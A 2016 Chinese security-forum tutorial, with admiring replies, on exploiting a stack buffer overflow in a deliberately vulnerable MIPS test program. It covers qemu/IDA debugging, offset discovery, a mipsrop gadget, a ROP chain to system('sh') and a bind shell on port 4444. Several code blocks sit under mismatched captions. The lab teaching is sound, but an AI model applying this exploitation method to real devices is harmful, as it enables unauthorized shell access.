请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 728|回复: 16

[原创文章] MIPS 架构栈缓冲区溢出初探

[复制链接]
  • TA的每日心情
    开心
    2016-5-7 17:27
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2016-7-22 12:08:53 | 显示全部楼层 |阅读模式
    我们常见的 `CPU` 架构有,`x86`,`arm`,`mips` 等,我们比较熟悉可能就是 `x86` 和 `arm` 平台下的缓冲区溢出漏洞的分析,利用。真正开始讲之前,先说几个关键知识,

    [HTML] 纯文本查看 复制代码
        1.在 mips 平台上 PC 寄存器的作用和 x86平台上的 EIP 寄存器的作用是一样的
        2.在 mips 平台上 调用函数时,函数的前4参数会依次放置在 `a0 - a3` 这四个寄存器中,多于4个参数才会将多出来的参数放置在栈上。
        3.RA 寄存器会存放函数的返回地址。


    这次我来说说 在 `mips` 架构下的缓冲区溢出是怎么样的,以及其利用方式,作为示例的代码为:

    游客,如果您要查看本帖隐藏内容请回复


    这个代码的作用是从文件中读取密码到一个固定大小的缓冲区中,之后判断密码是否正确,正确就执行 `ls -l`命令,错误就打印一个提示字符串, 这是一段经典的会发生栈缓冲区溢出漏洞的代码,在 `x86` 平台下的利用,网上已经有很多文章讲述,我就不赘述了,需要的请自行百度。在这里我要说的是在 `MIPS` 平台上的利用。

    首先我们需要搭建好环境,具体包括

    [HTML] 纯文本查看 复制代码
    #include <stdio.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <stdlib.h>
    void do_system(int code,char *cmd)
    {
    char buf[255];
    system(cmd);
    }
    int main()
    {
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;
    if(0 == stat("passwd",&fileData))
    fileLen = fileData.st_size;
    else
    return 1;
    if((fp = fopen("passwd","rb")) == NULL)
    {
    printf("Cannot open file passwd!\n");
    exit(1);
    }
    ch=fgetc(fp);
    while(count <= fileLen)
    {
    buf[count++] = ch;
    ch = fgetc(fp);
    }
    buf[--count] = '\x00';
    if(!strcmp(buf,"adminpwd"))
    {
    do_system(count,"ls -l");
    }
    else
    {
    printf("you have an invalid password!\n");
    }
    fclose(fp);
    }


    如果比较懒的话 `qemu` 可以通过 `apt-get install qemu` 进行安装,`mips-gcc` 的搭建可以参考:

    [HTML] 纯文本查看 复制代码
     mips-gcc (用于编译出mips架构的程序)
    	IDA  用于反汇编,以及远程调试 mips程序
        qemu (用于在 x86平台上模拟出 MIPS平台 CPU,以便在 x86平台上运行mips架构的程序


    在搭建好环境之后,我们需要做的第一件是就是编译我们的测试代码,编译完后,我们在编译生成的文件的目录下,新建一个 `passwd` 文件,向这个文件中填充600 个 `A` ,使用  `qemu-mipsel vuln` 运行程序,可以发现程序崩溃,

    1.png

    下面我们需要通过调试,来分析漏洞,利用漏洞,调试的话,`qemu` 里面自带 `gdb_server` ,我们可以通过使用 `-g <port>` 选项在指定端口,监听一个 `gdb`调试端口。
    2.png

    接下来我们,需要用 `IDA` 远程连接该端口,选择`Debugger -> Attach -> Remote GDB debugger`,设置好 `IP` 和端口

    3.png

    4.png

    之后还需要在 `Debug options` 选项中设置一下,

    5.png

    之后进入 `Set secific options` ,设置一些平台的选项,

    6.png

    之后回到设置端口界面,点击 `OK`

    7.png

    按`OK`默认即可,即可连接远程的调试器,

    8.png

    可以看到程序触发异常,此时 `PC` 寄存器的值为 `0x41414140`,`PC` 寄存器和我们在 `x86` 平台下的 `EIP` 寄存器的作用是一样的,所以我们控制了 `PC` 寄存器,就相当于我们控制了程序的执行流程,下一步我们需要确定偏移,就是确定从哪一个字段开始我们能控制 `PC` 寄存器,我们可以使用经典的 `metasploit `工具下的 `pattern_create.rb` 和 `pattern_offset.rb` 两个小脚本来确定偏移,我们先使用 `./pattern_create.rb 600` 创建 600 字节的偏移数据:

    9.png

    把产生的数据作为 `passwd` 文件的内容,使用 IDA 附加上,运行,

    of.png

    程序崩溃,查看崩溃时 `PC` 寄存器的值为: `0x6E41376E`,我们使用 `./pattern_offset.rb 0x6E41376E` 可以确定偏移为 `412`

    10.png

    所以在412字节之后的四个字节会变成 `PC` 寄存器的值我们可以验证一下,新建一个 `exp.py` 脚本:

    [HTML] 纯文本查看 复制代码
    http://blog.csdn.net/leolinux/article/details/6842517


    我们往 `passwd` 文件内写入了 412个 `A` 后面再接上 4 个 `B`,如果我们定位正确的话,运行程序,在程序崩溃时 `PC` 寄存器的值为 `0x42424242` ,我们验证一下:
    11.png

    果然如我所料,现在我们已经能够控制 `EIP` 了,下一步,就是要制定利用方案,在这个程序中我们有两种利用方式,第一种通过
    构造 `ROP` 链,调用 `do_system_0` 函数,执行任意命令,第二种方法就是,使用 `shellcode` 来执行我们想要做的事情。我使用第一种方法。我们先看看 `do_system_0` 内部的情况,考虑如何构造 `rop` 链,

    [HTML] 纯文本查看 复制代码
        fp = open("passwd","w")
        fp.write("A"*412+"BBBB")
        fp.close()


    可以看到 `do_system_0` 函数内部会调用 `system` 函数,且 `system` 函数的参数 为`a0`的值 (`mips`架构上的函数调用时的前四个参数分别使用 `a0 a1 a2 a3 ` ,其来源为 `do_system_0` 函数的第二个参数,所以我们可以找到一处指令能够在设置我们的 `a1` 寄存器的值之后,在跳转到 `do_system_0` 函数,就能完成利用。找 `rop`配件的活,自然不会手工去做,我这里使用了 `mipsrop`,它是一个工具集中的一个小部分,github地址为:

    [HTML] 纯文本查看 复制代码
    .text:004003D0 do_system_0:
        .text:004003D0
        .text:004003D0 var_110 = -0x110
        .text:004003D0 var_8   = -8
        .text:004003D0 var_4   = -4
        .text:004003D0 arg_0   =  0
        .text:004003D0 arg_4   =  4
        .text:004003D0
        .text:004003D0 addiu   $sp, -0x120
        .text:004003D4 sw  $ra, 0x120+var_4($sp)
        .text:004003D8 sw  $fp, 0x120+var_8($sp)
        .text:004003DC move $fp, $sp
        .text:004003E0 li  $gp, 0x421280
        .text:004003E8 sw  $gp, 0x120+var_110($sp)
        .text:004003EC sw  $a0, 0x120+arg_0($fp)
        .text:004003F0 sw  $a1, 0x120+arg_4($fp)
        .text:004003F4 lw  $a0, 0x120+arg_4($fp)
        .text:004003F8 la  $v0, system
        .text:004003FC move $t9, $v0
        .text:00400400 jalr $t9 ; system
        .text:00400404 nop
        .text:00400408 lw  $gp, 0x120+var_110($fp)
        .text:0040040C move $sp, $fp
        .text:00400410 lw  $ra, 0x120+var_4($sp)
        .text:00400414 lw  $fp, 0x120+var_8($sp)
        .text:00400418 addiu   $sp, 0x120
        .text:0040041C jr  $ra
        .text:00400420 nop
        .text:00400420  # End of function do_system_0
        .text:00400420


    安装好后我们可以通过

    12.png

    启用它,我们可以在`IDA`下方的 python命令栏输入  `mipsrop.help()`  获取插件的使用帮助,

    13.png

    因为是栈溢出,栈上的数据使我们可控的,我们使用 `mipsrop.stackfinders()` 命令找一些能将内存数据送入寄存器的 `rop` 指令

    [HTML] 纯文本查看 复制代码
    https://github.com/devttys0/ida


    经过分析,我选用了 `0x00402030` 处的 `rop` 指令,看看其具体情况:

    14.png

    这一段指令的作用是,使 `a1` 寄存器指向 `sp+0x18`,  通过溢出 `sp+0x18` 我们可控,`a1` 的值就是`system` 函数的参数,所以将 `sp+0x18` 处的值设置为 `sh\x00\x00` 就能返回一个 `shell` 给我们,之后他将 `sp+0x54` 处的四字节数据送入 `ra` 寄存器中,之后跳转到 `ra` 寄存器的值,所以 `ra`的值我们可控,将 `sp+0x54` 处的值设为 `do_system_0` 函数的地址即可,最后完成 `exp.py`

    [HTML] 纯文本查看 复制代码
        
        
        Python>mipsrop.stackfinders()
        ----------------------------------------------------------------------------------------------------------------
        |  Address |  Action  |  Control Jump  |
        ----------------------------------------------------------------------------------------------------------------
        |  0x004033D8  |  addiu $s3,$sp,0x40+var_28   |  jalr  $s4 |
        |  0x004044BC  |  addiu $a1,$sp,0x90+var_70   |  jalr  $s1 |
        |  0x00404704  |  addiu $s6,$sp,0x90+var_5C   |  jalr  $s7 |
        |  0x00402030  |  addiu $a1,$sp,0x58+var_40   |  jr0x58+var_4($sp) |
        ----------------------------------------------------------------------------------------------------------------
        Found 4 matching gadgets
    
    


    执行脚本,在运行程序,得到 `shell`

    15.png

    使用 `shellcode` 的方法也很简单,去网上下一段 `shellcode`,或者自己编写,在将 `PC` 寄存器的值控制到指向 `shellcode` 的起始地址。就行。
    游客,如果您要查看本帖隐藏内容请回复



    执行脚本,运行程序,就会在 `4444` 端口绑定一个 `shell` ,我们用 `nc` 连接:

    16.png

    我们从汇编层面看看,漏洞的原理,

    17.png

    图示的那个循环就是在不断读取文件内容到程序中的大小为 `256` 字节的缓冲区中,直至读到文件末尾。这样就造成了漏洞,而图中位于 `0x004005cc` 处的 `sb      $v1, 0x18($v0)` ,就是将刚从文件中读入的一个字节的数据写入缓冲区中。

    评分

    参与人数 2下载币 +4 好评 +10 荣誉 +7 收起 理由
    95zz + 4 + 5 + 2 精彩,感谢分享,写了这么详细
    突突兔 + 5 + 5 求多上点缓冲区溢出的教程,最近在研究这块.

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    6 小时前
  • 签到天数: 39 天

    [LV.5]常住居民I

    发表于 2016-7-22 13:09:27 | 显示全部楼层
    哎呦雾草 高端贴~
  • TA的每日心情
    奋斗
    4 小时前
  • 签到天数: 202 天

    [LV.7]常住居民III

    发表于 2016-7-22 13:35:37 | 显示全部楼层
    前排 瓜子香烟,啤酒了啊
  • TA的每日心情
    奋斗
    昨天 00:14
  • 签到天数: 319 天

    [LV.8]以坛为家I

    发表于 2016-7-22 13:40:36 | 显示全部楼层
    好 好厉害的样子 = =
  • TA的每日心情
    擦汗
    9 小时前
  • 签到天数: 68 天

    [LV.6]常住居民II

    发表于 2016-7-22 14:27:05 | 显示全部楼层
    高端技术帖
  • TA的每日心情

    2016-6-10 00:11
  • 签到天数: 21 天

    [LV.4]偶尔看看III

    发表于 2016-7-22 17:27:59 | 显示全部楼层
    感谢大牛的分享。
  • TA的每日心情

    3 天前
  • 签到天数: 128 天

    [LV.7]常住居民III

    发表于 2016-7-22 17:39:09 | 显示全部楼层
    直接看不懂...
  • TA的每日心情
    慵懒
    5 天前
  • 签到天数: 147 天

    [LV.7]常住居民III

    发表于 2016-7-22 19:24:07 | 显示全部楼层
    这才是大牛哇............
  • TA的每日心情
    无聊
    2016-3-18 20:51
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-7-22 19:52:50 | 显示全部楼层
    求多上点缓冲区溢出的教程。
  • TA的每日心情

    2017-2-12 23:32
  • 签到天数: 132 天

    [LV.7]常住居民III

    发表于 2016-7-23 12:04:47 | 显示全部楼层
    高端,初次见识
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-28 17:55 , Processed in 0.213944 second(s), 39 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表